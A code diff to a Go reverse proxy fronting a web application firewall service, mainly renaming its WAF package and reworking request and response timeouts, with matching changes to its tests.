rq.out.afterStatus = rq.setResponseDeadline
rq.setResponseDeadline()
return nil
}
@@ -337,39 +312,28 @@ func (rq *request) answer(status int) {
// handler has returned, after finish has written the log line and sent the report.
// Without Content-Length, the flush would send the body in chunks, the last of
// which would still wait for the handler. A HEAD's answer has no body, so any
// Content-Length it has stays as waf gave it.
// Content-Length it has stays as servewaf gave it.
func (rq *request) send(status int, body []byte) {
if rq.in.Method != http.MethodHead {
rq.out.Header().Set("Content-Length", strconv.Itoa(len(body)))
}
rq.closeAfterAnswer()
rq.out.WriteHeader(status)
_, _ = rq.out.Write(body)
_ = rq.rc.Flush()
}
// closeAfterAnswer has Go's server send the answer at once, and close the
// connection after it, when the visitor's body has not arrived whole. Without
// it, Go's server reads up to 256 KiB of the body left before it sends an
// answer, and so waits on a visitor that has stopped sending.
func (rq *request) closeAfterAnswer() {
if rq.body != nil && !rq.body.received.Load() {
rq.out.Header().Set("Connection", "close")
}
}
// prepareOwnAnswer readies the connection for an answer rproxy gives itself: the
// reading of a body that has not arrived whole ends at deadline, and the answer
// has SWRP_MAX_RESPONSE_TIME_MS from now to reach the visitor, even when the app
// used that time up first, and at least minSendTime.
// used that time up first.
func (rq *request) prepareOwnAnswer(deadline time.Time) {
rq.stopReadingBody(deadline)
rq.endRequest()
limit := rq.h.config.MaxResponseTime
if limit > 0 {
_ = rq.rc.SetWriteDeadline(time.Now().Add(max(limit, minSendTime)))
_ = rq.rc.SetWriteDeadline(time.Now().Add(limit))
}
}
@@ -383,28 +347,13 @@ func (rq *request) refuse(status int) {
}
}
// finish ends the request's time limits, writes its log line and, if waf
// finish ends the request's time limits, writes its log line and, if servewaf
// answered the question, sends the report. ctx is the request's own context.
func (rq *request) finish(ctx context.Context) {
rq.stopTimers()
// After a cut-off answer, the reading of a body that has not arrived whole
// ends now. Go's server would otherwise keep the connection open while it
// reads the rest. modifyResponse sets afterStatus only when it passes the
// app's answer on. Any refusal after that has cut the answer off, since a
// refusal ends the request to the app. Any answer is cut off when the time to
// send it runs out: a flush then fails, and every flush after a failed one
// fails too. ReverseProxy ignores the failure, but panics if it was still
// waiting for more of the app's answer; finish runs either way. Before a
// status, a flush would send a 200; after a 101, ReverseProxy has taken over
// the connection.
switch {
case rq.out.afterStatus != nil && rq.refused.Load() != 0,
rq.out.status != 0 && rq.out.status != http.StatusSwitchingProtocols &&
errors.Is(rq.rc.Flush(), os.ErrDeadlineExceeded):
rq.stopPassingOnBody(time.Now())
case rq.refused.Load() == 0:
rq.stopPassingOnBody(rq.requestDeadline())
if rq.refused.Load() == 0 {
rq.stopReadingBody(rq.requestDeadline())
}
requestEnd := rq.endRequest()
@@ -422,8 +371,8 @@ func (rq *request) finish(ctx context.Context) {
Status: rq.out.status,
RequestBytes: requestBytes,
ResponseBytes: responseBytes,
DurationRequestMS: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
DurationResponseMS: requestlog.Milliseconds(end.Sub(requestEnd)),
DurationRequest: requestlog.Milliseconds(requestEnd.Sub(rq.start)),
DurationResponse: requestlog.Milliseconds(end.Sub(requestEnd)),
Disposition: rq.disposition,
DefaultDisposition: rq.byDefault,
})
@@ -435,15 +384,15 @@ func (rq *request) finish(ctx context.Context) {
return
}
report := &waf.Report{
report := &servewaf.Report{
RequestID: rq.id,
Status: min(rq.out.status, reportStatusMax),
RequestBytes: requestBytes,
ResponseBytes: responseBytes,
DurationTotalMS: requestlog.Milliseconds(end.Sub(rq.start)),
DurationTotal: requestlog.Milliseconds(end.Sub(rq.start)),
}
if !rq.upstreamStart.IsZero() {
report.DurationUpstreamTotalMS = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
report.DurationUpstreamTotal = requestlog.Milliseconds(end.Sub(rq.upstreamStart))
}
rq.h.sendReport(ctx, report)
@@ -491,26 +440,6 @@ func (rq *request) stopReadingBody(deadline time.Time) {
_ = rq.rc.SetReadDeadline(deadline)
}
// stopPassingOnBody ends the transport's reading of a visitor's body that has
// not arrived whole, and lets Go's server read the rest until deadline. Go's
// server reads it once the handler returns, but with no deadline at all if
// another read of it is still waiting.
func (rq *request) stopPassingOnBody(deadline time.Time) {
if rq.body == nil || rq.body.received.Load() {
return
}
// A deadline that has passed ends a Read that waits, and the lock waits for
// that Read to return.
_ = rq.rc.SetReadDeadline(time.Now())
rq.body.mu.Lock()
rq.body.stopped = true
rq.body.mu.Unlock()
rq.stopReadingBody(deadline)
}
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
// request's headers being read until the app has been sent the whole request.
func (rq *request) startRequestTimer() {
@@ -539,6 +468,16 @@ func (rq *request) requestTimedOut() {
}
if rq.body == nil || !rq.body.waiting.Load() {
// Once the app has answered, the transport, ReverseProxy and Go's server
// each close the visitor's body, and closing it reads what is left of a
// body under 256 KiB without requestBody.Read, so waiting is false while
// that read waits for the visitor. That read ends now, before refuse:
// should rproxy still answer itself, answer then sets the deadline it
// gives its own answers.
if !rq.answerStarted.IsZero() {
rq.stopReadingBody(time.Now())
}
rq.refuse(http.StatusGatewayTimeout)
return
@@ -551,6 +490,15 @@ func (rq *request) requestTimedOut() {
_ = rq.rc.SetReadDeadline(time.Now())
}
// gotFirstResponseByte is called once the first byte of the app's answer has
// arrived.
func (rq *request) gotFirstResponseByte() {
rq.mu.Lock()
defer rq.mu.Unlock()
rq.answerStarted = time.Now()
}
// wroteRequest is called once the app has been sent the whole request:
// SWRP_MAX_REQUEST_TIME_MS ends and SWRP_MAX_RESPONSE_TIME_MS starts.
func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
@@ -560,30 +508,20 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
requestEnd := rq.endRequest()
rq.mu.Lock()
stopTimer(rq.requestTimer)
rq.mu.Unlock()
rq.startResponseTimer(requestEnd)
}
// startResponseTimer starts SWRP_MAX_RESPONSE_TIME_MS, which runs from
// requestEnd, unless it has started already.
func (rq *request) startResponseTimer(requestEnd time.Time) {
limit := rq.h.config.MaxResponseTime
if limit == 0 {
return
}
rq.mu.Lock()
defer rq.mu.Unlock()
if rq.timersStopped || rq.responseTimer != nil {
if rq.timersStopped {
return
}
stopTimer(rq.requestTimer)
limit := rq.h.config.MaxResponseTime
if limit > 0 {
rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
rq.responseTimedOut)
}
}
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
@@ -597,25 +535,30 @@ func (rq *request) responseTimedOut() {
}
}
// responseReceived is called once the app has sent its whole answer.
// responseReceived is called once the app has sent its whole answer. An app may
// answer before the visitor has sent its whole body, as with a 404 it sends
// without reading it. The time limits then run on: until the transport's read of
// the body returns, Go's server cannot send the answer, and
// SWRP_MAX_REQUEST_TIME_MS is what ends that read for a visitor that stops
// sending.
func (rq *request) responseReceived() {
rq.stopTimers()
}
// setResponseDeadline sends the status and headers of the app's answer, with
// at least minSendTime, before ReverseProxy reads the answer's body, and then
// the rest has until SWRP_MAX_RESPONSE_TIME_MS after the end of the request.
func (rq *request) setResponseDeadline() {
limit := rq.h.config.MaxResponseTime
if limit == 0 {
if rq.body != nil && !rq.body.received.Load() {
return
}
deadline := rq.endRequest().Add(limit)
rq.stopTimers()
}
_ = rq.rc.SetWriteDeadline(time.Now().Add(max(time.Until(deadline), minSendTime)))
_ = rq.rc.Flush()
_ = rq.rc.SetWriteDeadline(deadline)
// setResponseDeadline sets SWRP_MAX_RESPONSE_TIME_MS on the connection to the
// visitor: the app's answer must reach the visitor within it of the end of the
// request.
func (rq *request) setResponseDeadline() {
requestEnd := rq.endRequest()
limit := rq.h.config.MaxResponseTime
if limit > 0 {
_ = rq.rc.SetWriteDeadline(requestEnd.Add(limit))
}
}
// endRequest notes now as the end of the request, unless an end is noted, and
+30 -32
View File
@@ -1,10 +1,10 @@
// Package rproxy is the reverse proxy in front of one app that asks waf
// about each request. It passes a request waf allows to the app and the
// Package rproxy is the reverse proxy in front of one app that asks servewaf
// about each request. It passes a request servewaf allows to the app and the
// app's answer back, within the size and time limits. Any other answer from
// waf goes to the visitor as waf gave it. SWRP_DEFAULT_DISPOSITION
// decides only when waf cannot be connected to, does not answer at all, or
// servewaf goes to the visitor as servewaf gave it. SWRP_DEFAULT_DISPOSITION
// decides only when servewaf cannot be connected to, does not answer at all, or
// does not answer within SWRP_TIMEOUT_MS. rproxy itself refuses a request with a
// method it does not pass on, or one it cannot put to waf as the visitor
// method it does not pass on, or one it cannot put to servewaf as the visitor
// sent it. It keeps nothing between requests and never touches disk. "rproxy" in
// SPEC.md says what it does.
package rproxy
@@ -22,10 +22,10 @@ import (
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/waf"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
)
// How rproxy keeps connections to the app and to waf open between
// How rproxy keeps connections to the app and to servewaf open between
// requests.
const (
idleConns = 100
@@ -45,15 +45,13 @@ const (
idleTimeout = 120 * time.Second
)
// ownEndpointPrefix starts the path of every request for sww itself, which
// adminPrefix starts the path of every request for smallwebwaf itself, which
// never reaches the app.
const ownEndpointPrefix = "/_sww/"
const adminPrefix = "/_smallwebwaf/"
// allowedMethods lists the methods rproxy passes on, as an Allow header gives
// them. It answers any other method 405 itself.
// The WebDAV ones are for Nextcloud.
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY, " +
"PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT, SEARCH, LOCK, UNLOCK, MKCALENDAR"
const allowedMethods = "GET, HEAD, POST, OPTIONS, PUT, DELETE, PATCH, QUERY"
// Params are what New needs.
type Params struct {
@@ -64,14 +62,14 @@ type Params struct {
ProcessLog *slog.Logger
}
// Server is the server `sww rproxy` runs.
// Server is the server `smallwebwaf rproxy` runs.
type Server struct {
*http.Server
h *handler
}
// New returns the server `sww rproxy` runs. Go's server itself refuses
// New returns the server `smallwebwaf rproxy` runs. Go's server itself refuses
// a request line and headers over requestHeaderMaxBytes, with 431, closes a
// connection idle for idleTimeout, and applies SWRP_MAX_REQUEST_TIME_MS while
// the headers arrive. The handler applies the time and size limits from then
@@ -85,9 +83,9 @@ func New(params Params) *Server {
processLog: params.ProcessLog,
errorLog: errorLog,
transport: newTransport(),
wafTransport: newWAFTransport(),
serveWAFTransport: newServeWAFTransport(),
reportURL: (&url.URL{
Scheme: backend.Scheme, Host: backend.Host, Path: waf.ReportPath,
Scheme: backend.Scheme, Host: backend.Host, Path: servewaf.ReportPath,
}).String(),
}
@@ -122,10 +120,10 @@ type handler struct {
requestLog io.Writer
processLog *slog.Logger
errorLog *log.Logger
// transport carries requests to the app, and wafTransport questions and
// reports to waf.
// transport carries requests to the app, and serveWAFTransport questions and
// reports to servewaf.
transport http.RoundTripper
wafTransport http.RoundTripper
serveWAFTransport http.RoundTripper
// reportURL is where the reports go.
reportURL string
// reports waits for the reports being sent. reportsMu guards starting one
@@ -147,11 +145,11 @@ func newTransport() *http.Transport {
}
}
// newWAFTransport returns what carries questions and reports to
// waf. It speaks HTTP/1.1 only. Go's HTTP/2 client refuses to send
// a visitor's Upgrade header, or a Connection header other than close or
// keep-alive, and that would read as waf giving no answer.
func newWAFTransport() *http.Transport {
// newServeWAFTransport returns what carries questions and reports to servewaf.
// It speaks HTTP/1.1 only. Go's HTTP/2 client refuses to send a visitor's Upgrade
// header, or a Connection header other than close or keep-alive, and that would
// read as servewaf giving no answer.
func newServeWAFTransport() *http.Transport {
transport := newTransport()
transport.Protocols = new(http.Protocols)
transport.Protocols.SetHTTP1(true)
@@ -160,15 +158,15 @@ func newWAFTransport() *http.Transport {
}
// ServeHTTP handles one request: it answers the health check itself, refuses a
// request with a method it does not pass on or one it cannot put to waf as
// request with a method it does not pass on or one it cannot put to servewaf as
// the visitor sent it, and for any other request reads the first part of the
// body, asks waf, and does what the answer says. Once the answer has ended,
// body, asks servewaf, and does what the answer says. Once the answer has ended,
// it writes the request's log line and sends its report.
func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
rq := h.newRequest(w, r)
defer rq.finish(r.Context())
if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {
if r.Method == http.MethodGet && r.URL.Path == servewaf.HealthPath {
rq.answerHealth()
return
@@ -201,9 +199,9 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
rq.noteAnswer(answer)
switch rq.disposition {
case waf.DispositionAllow:
case servewaf.DispositionAllow:
rq.passToApp(r.Context())
case waf.DispositionClose:
case servewaf.DispositionClose:
// This panic has Go's server close the connection without an answer,
// and log nothing; the deferred finish still runs.
panic(http.ErrAbortHandler)
@@ -213,8 +211,8 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
}
// passToApp passes the request on to the app, unless a limit or its path keeps
// it from the app. waf answers a path under ownEndpointPrefix itself, so
// such a request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
// it from the app. servewaf answers a path under adminPrefix itself, so such a
// request gets here only when SWRP_DEFAULT_DISPOSITION allowed it. ctx is the
// request's own context.
func (rq *request) passToApp(ctx context.Context) {
maxBytes := rq.h.config.MaxRequestSize
@@ -222,7 +220,7 @@ func (rq *request) passToApp(ctx context.Context) {
switch {
case rq.refused.Load() != 0 || (maxBytes > 0 && rq.in.ContentLength > maxBytes):
rq.answer(http.StatusRequestEntityTooLarge)
case strings.HasPrefix(rq.in.URL.Path, ownEndpointPrefix):
case strings.HasPrefix(rq.in.URL.Path, adminPrefix):
rq.answer(http.StatusNotFound)
default:
rq.forward(ctx)
+115 -132
View File
@@ -21,7 +21,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy"
"sneak.berlin/go/smallwebwaf/internal/waf"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
)
const (
@@ -54,27 +54,27 @@ const (
// The headers the tests set and look at.
const (
dispositionHeader = waf.DispositionHeader
dispositionHeader = servewaf.DispositionHeader
forwardedForHeader = "X-Forwarded-For"
forwardedProtoHeader = "X-Forwarded-Proto"
requestIDHeader = "X-Request-ID"
asnHeader = "X-Client-Asn"
countryHeader = "X-Client-Country"
contentLengthHeader = "Content-Length"
// fromWAFHeader is a header the stand-in for waf adds to a deny.
fromWAFHeader = "X-From-Waf"
// fromServeWAFHeader is a header the stand-in for servewaf adds to a deny.
fromServeWAFHeader = "X-From-Servewaf"
// addedHeaderValue is the value of a header a test adds to an answer, to see it
// reach the visitor.
addedHeaderValue = "yes"
)
// What the stand-in for waf answers.
// What the stand-in for servewaf answers.
const (
dispositionAllow = waf.DispositionAllow
dispositionDeny = waf.DispositionDeny
dispositionClose = waf.DispositionClose
dispositionAllow = servewaf.DispositionAllow
dispositionDeny = servewaf.DispositionDeny
dispositionClose = servewaf.DispositionClose
// deniedBody is the body of a deny.
deniedBody = "refused by waf"
deniedBody = "refused by servewaf"
)
// output collects what rproxy writes on stdout.
@@ -158,7 +158,7 @@ func (l heldLog) Write(p []byte) (int, error) {
return len(p), nil
}
// question is what the stand-in for waf received as a question.
// question is what the stand-in for servewaf received as a question.
type question struct {
method, target, host string
header http.Header
@@ -167,26 +167,26 @@ type question struct {
transferEncoding []string
}
// WAF is a stand-in for waf that answers each question as
// answer does, and keeps the questions and the reports it gets.
type WAF struct {
// serveWAF is a stand-in for servewaf that answers each question as answer
// does, and keeps the questions and the reports it gets.
type serveWAF struct {
*httptest.Server
questions chan question
reports chan waf.Report
reports chan servewaf.Report
}
// startWAF starts a stand-in for waf.
func startWAF(t *testing.T, answer http.HandlerFunc) *WAF {
// startServeWAF starts a stand-in for servewaf.
func startServeWAF(t *testing.T, answer http.HandlerFunc) *serveWAF {
t.Helper()
s := &WAF{
s := &serveWAF{
questions: make(chan question, 10),
reports: make(chan waf.Report, 10),
reports: make(chan servewaf.Report, 10),
}
s.Server = httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get(waf.ClientHeader) == "" {
if r.Header.Get(servewaf.ClientHeader) == "" {
s.takeReport(t, w, r)
return
@@ -209,17 +209,14 @@ func startWAF(t *testing.T, answer http.HandlerFunc) *WAF {
return s
}
// takeReport keeps a report and answers it as waf does.
func (s *WAF) takeReport(
t *testing.T, w http.ResponseWriter, r *http.Request,
) {
// takeReport keeps a report and answers it as servewaf does.
func (s *serveWAF) takeReport(t *testing.T, w http.ResponseWriter, r *http.Request) {
t.Helper()
var report waf.Report
var report servewaf.Report
err := json.NewDecoder(r.Body).Decode(&report)
if err != nil || r.Method != http.MethodPost ||
r.URL.Path != waf.ReportPath {
if err != nil || r.Method != http.MethodPost || r.URL.Path != servewaf.ReportPath {
t.Errorf("%s %s is no report: %v", r.Method, r.URL.Path, err)
}
@@ -229,7 +226,7 @@ func (s *WAF) takeReport(
}
// wantNoReport checks that no report comes for a moment.
func (s *WAF) wantNoReport(t *testing.T) {
func (s *serveWAF) wantNoReport(t *testing.T) {
t.Helper()
select {
@@ -240,7 +237,7 @@ func (s *WAF) wantNoReport(t *testing.T) {
}
// report waits for a report.
func (s *WAF) report(t *testing.T) waf.Report {
func (s *serveWAF) report(t *testing.T) servewaf.Report {
t.Helper()
select {
@@ -249,12 +246,12 @@ func (s *WAF) report(t *testing.T) waf.Report {
case <-time.After(waitLimit):
t.Fatal("no report")
return waf.Report{}
return servewaf.Report{}
}
}
// question waits for a question.
func (s *WAF) question(t *testing.T) question {
func (s *serveWAF) question(t *testing.T) question {
t.Helper()
select {
@@ -267,17 +264,16 @@ func (s *WAF) question(t *testing.T) question {
}
}
// startWAFAnsweringReports starts a stand-in for waf that
// answers each question as answer does and each report as report does, and
// returns its URL.
func startWAFAnsweringReports(
// startServeWAFAnsweringReports starts a stand-in for servewaf that answers each
// question as answer does and each report as report does, and returns its URL.
func startServeWAFAnsweringReports(
t *testing.T, answer, report http.HandlerFunc,
) string {
t.Helper()
backend := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
if r.Header.Get(waf.ClientHeader) != "" {
if r.Header.Get(servewaf.ClientHeader) != "" {
answer(w, r)
return
@@ -299,7 +295,7 @@ func allow(w http.ResponseWriter, _ *http.Request) {
// deny answers a question with deny, status 403 and a body of its own.
func deny(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(dispositionHeader, dispositionDeny)
w.Header().Set(fromWAFHeader, addedHeaderValue)
w.Header().Set(fromServeWAFHeader, addedHeaderValue)
w.WriteHeader(http.StatusForbidden)
_, _ = io.WriteString(w, deniedBody)
}
@@ -320,7 +316,7 @@ func greet(w http.ResponseWriter, r *http.Request) {
_, _ = io.WriteString(w, greeting)
}
// startRProxy starts rproxy with waf at backend and the app at appURL, and
// startRProxy starts rproxy with servewaf at backend and the app at appURL, and
// the settings in env on top of the defaults. It returns where rproxy listens
// and what it writes.
func startRProxy(
@@ -502,7 +498,7 @@ func readStatus(t *testing.T, conn net.Conn) int {
func TestPassesAnAllowedRequestToTheAppAndItsAnswerBack(t *testing.T) {
t.Parallel()
standIn := startWAF(t, func(w http.ResponseWriter, r *http.Request) {
standIn := startServeWAF(t, func(w http.ResponseWriter, r *http.Request) {
w.Header().Set(asnHeader, "AS64496")
w.Header().Set(countryHeader, "DE")
allow(w, r)
@@ -559,12 +555,9 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
"X-Forwarded-Scheme", "X-Forwarded-Ssl", "X-Forwarded-Protocol",
"X-Forwarded-Path", "X-Forwarded-Client-Cert",
"X_Forwarded_Ssl", "X_Forwarded_Proto", "X_Real_IP",
}
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
seen := make(chan http.Header, 1)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
seen <- r.Header.Clone()
@@ -585,9 +578,6 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
req.Header.Set(name, "claimed")
}
// A made-up name, sent in lower case.
req.Header["x-forwarded-made-up"] = []string{"claimed"}
wantGreeting(t, visit(t, req))
header := <-seen
@@ -602,7 +592,7 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
}
}
for _, name := range append(removed, "X-Forwarded-Made-Up") {
for _, name := range removed {
if got := header.Values(name); len(got) != 0 {
t.Errorf("the app saw %s %q, want none", name, got)
}
@@ -612,7 +602,7 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
func TestATrustedProxysForwardedHeadersPassOn(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
seen := make(chan http.Header, 1)
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
seen <- r.Header.Clone()
@@ -628,8 +618,6 @@ func TestATrustedProxysForwardedHeadersPassOn(t *testing.T) {
"X-Forwarded-Host": "public.example",
forwardedProtoHeader: "https",
"X-Real-Ip": "198.51.100.1",
"X-Forwarded-Ssl": "on",
"X_Forwarded_Ssl": "on",
}
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
@@ -653,7 +641,7 @@ func TestATrustedProxysForwardedHeadersPassOn(t *testing.T) {
func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
w.Header()["Content-Type"] = nil
_, _ = io.WriteString(w, "<html>")
@@ -675,19 +663,19 @@ func TestAnAnswerWithoutAContentTypeGetsNone(t *testing.T) {
}
}
func TestRemovesTheVisitorsLookupHeadersWhenWAFGivesNone(t *testing.T) {
func TestRemovesTheVisitorsLookupHeadersWhenServeWAFGivesNone(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
backend func(t *testing.T) string
}{
{"waf allows", func(t *testing.T) string {
{"servewaf allows", func(t *testing.T) string {
t.Helper()
return startWAF(t, allow).URL
return startServeWAF(t, allow).URL
}},
{"waf is down", func(*testing.T) string { return nowhere }},
{"servewaf is down", func(*testing.T) string { return nowhere }},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
@@ -713,10 +701,10 @@ func TestRemovesTheVisitorsLookupHeadersWhenWAFGivesNone(t *testing.T) {
}
}
func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
func TestDenyGivesTheVisitorServeWAFsAnswer(t *testing.T) {
t.Parallel()
standIn := startWAF(t, deny)
standIn := startServeWAF(t, deny)
app := startApp(t, func(http.ResponseWriter, *http.Request) {
t.Error("the app was asked")
})
@@ -724,8 +712,8 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
got := get(t, addr, "/")
if got.status != http.StatusForbidden || got.body != deniedBody ||
got.header.Get(fromWAFHeader) != addedHeaderValue {
t.Errorf("answered %+v, want waf's answer", got)
got.header.Get(fromServeWAFHeader) != addedHeaderValue {
t.Errorf("answered %+v, want servewaf's answer", got)
}
if len(got.header.Values(dispositionHeader)) != 0 {
@@ -735,27 +723,27 @@ func TestDenyGivesTheVisitorWAFsAnswer(t *testing.T) {
report := standIn.report(t)
if report.Status != http.StatusForbidden ||
report.ResponseBytes != int64(len(deniedBody)) ||
report.DurationUpstreamTotalMS != 0 {
report.DurationUpstreamTotal != 0 {
t.Errorf("report %+v, of a request denied", report)
}
line := out.requestLine(t)
if line["disposition"] != dispositionDeny || line["default_disposition"] != nil {
t.Errorf("line %v, want waf's deny", line)
t.Errorf("line %v, want servewaf's deny", line)
}
}
func TestADeniedHeadKeepsWAFsContentLength(t *testing.T) {
func TestADeniedHeadKeepsServeWAFsContentLength(t *testing.T) {
t.Parallel()
standIn := startWAF(t, deny)
standIn := startServeWAF(t, deny)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
got := visit(t, newRequest(t, http.MethodHead, addr, "/", http.NoBody))
if got.status != http.StatusForbidden ||
got.header.Get(contentLengthHeader) != strconv.Itoa(len(deniedBody)) {
t.Errorf("answered %+v, want waf's 403 and its length", got)
t.Errorf("answered %+v, want servewaf's 403 and its length", got)
}
}
@@ -770,13 +758,13 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
}{
{"a deny", "GET /" + host, deniedBody, http.StatusForbidden},
{"rproxy's own answer", "GET x:admin" + host, "Bad Request\n", http.StatusBadRequest},
{"the health check", "GET " + waf.HealthPath + host, "ok\n", http.StatusOK},
{"the health check", "GET " + servewaf.HealthPath + host, "ok\n", http.StatusOK},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
log := heldLog{release: make(chan struct{})}
standIn := startWAF(t, deny)
standIn := startServeWAF(t, deny)
app := startApp(t, greet)
addr, _ := startServerLogging(t, standIn.URL, app.URL, nil, log, io.Discard)
@@ -806,7 +794,7 @@ func TestAnAnswerRProxyHoldsWholeIsSentBeforeItsLogLine(t *testing.T) {
func TestRProxysOwnAnswerIsPlainText(t *testing.T) {
t.Parallel()
standIn := startWAF(t, allow)
standIn := startServeWAF(t, allow)
app := startApp(t, greet)
addr, _ := startRProxy(t, standIn.URL, app.URL, nil)
@@ -829,7 +817,7 @@ func TestRProxysOwnAnswerIsPlainText(t *testing.T) {
func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
t.Parallel()
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
standIn := startServeWAF(t, func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(dispositionHeader, dispositionClose)
w.WriteHeader(http.StatusOK)
})
@@ -861,7 +849,7 @@ func TestCloseClosesTheConnectionWithoutAnAnswer(t *testing.T) {
func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
t.Parallel()
backend := startWAFAnsweringReports(t,
backend := startServeWAFAnsweringReports(t,
func(w http.ResponseWriter, _ *http.Request) {
w.Header().Set(dispositionHeader, dispositionClose)
},
@@ -879,24 +867,24 @@ func TestALineForARequestClosedWithoutAnAnswerHasNoNegativeTime(t *testing.T) {
line := out.requestLine(t)
duration, ok := line["duration_response_ms"].(float64)
duration, ok := line["duration_response"].(float64)
if !ok || duration < 0 {
t.Errorf("line %v, want a duration_response_ms that is not negative", line)
t.Errorf("line %v, want a duration_response that is not negative", line)
}
}
}
// answeringWith returns what starts a stand-in for waf that answers each
// answeringWith returns what starts a stand-in for servewaf that answers each
// question as answer does, and returns its URL.
func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
return func(t *testing.T) string {
t.Helper()
return startWAF(t, answer).URL
return startServeWAF(t, answer).URL
}
}
// noAnswers are the ways waf can leave the decision to the default.
// noAnswers are the ways servewaf can leave the decision to the default.
func noAnswers() map[string]func(t *testing.T) string {
return map[string]func(t *testing.T) string{
"no connection": func(*testing.T) string { return nowhere },
@@ -928,7 +916,7 @@ func noAnswers() map[string]func(t *testing.T) string {
}
}
func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
func TestAnAnswerOtherThanAllowGoesToTheVisitorAsServeWAFGaveIt(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
@@ -937,7 +925,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
}{
{"a refusal", dispositionDeny, deniedBody, http.StatusForbidden},
{"a refusal, 429", dispositionDeny, deniedBody, http.StatusTooManyRequests},
{"waf's 400", "", "refused\n", http.StatusBadRequest},
{"servewaf's 400", "", "refused\n", http.StatusBadRequest},
{"a 500", "", "broken\n", http.StatusInternalServerError},
{"a 503 denied", dispositionDeny, "busy\n", http.StatusServiceUnavailable},
{"no header", "", "who knows\n", http.StatusOK},
@@ -947,12 +935,12 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
t.Parallel()
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
standIn := startServeWAF(t, func(w http.ResponseWriter, _ *http.Request) {
if tc.disposition != "" {
w.Header().Set(dispositionHeader, tc.disposition)
}
w.Header().Set(fromWAFHeader, addedHeaderValue)
w.Header().Set(fromServeWAFHeader, addedHeaderValue)
w.WriteHeader(tc.status)
_, _ = io.WriteString(w, tc.body)
})
@@ -965,8 +953,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
got := get(t, addr, "/")
if got.status != tc.status || got.body != tc.body ||
got.header.Get(fromWAFHeader) != addedHeaderValue {
t.Errorf("answered %+v, want waf's answer", got)
got.header.Get(fromServeWAFHeader) != addedHeaderValue {
t.Errorf("answered %+v, want servewaf's answer", got)
}
if len(got.header.Values(dispositionHeader)) != 0 {
@@ -978,8 +966,8 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
t.Errorf("line %v, want status %d and no default", line, tc.status)
}
if out.has("waf gave no answer") {
t.Error("rproxy warned that waf gave no answer")
if out.has("servewaf gave no answer") {
t.Error("rproxy warned that servewaf gave no answer")
}
})
}
@@ -989,14 +977,14 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
func TestAnAnswerWithoutAValidDispositionGetsNoReport(t *testing.T) {
t.Parallel()
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
standIn := startServeWAF(t, func(w http.ResponseWriter, _ *http.Request) {
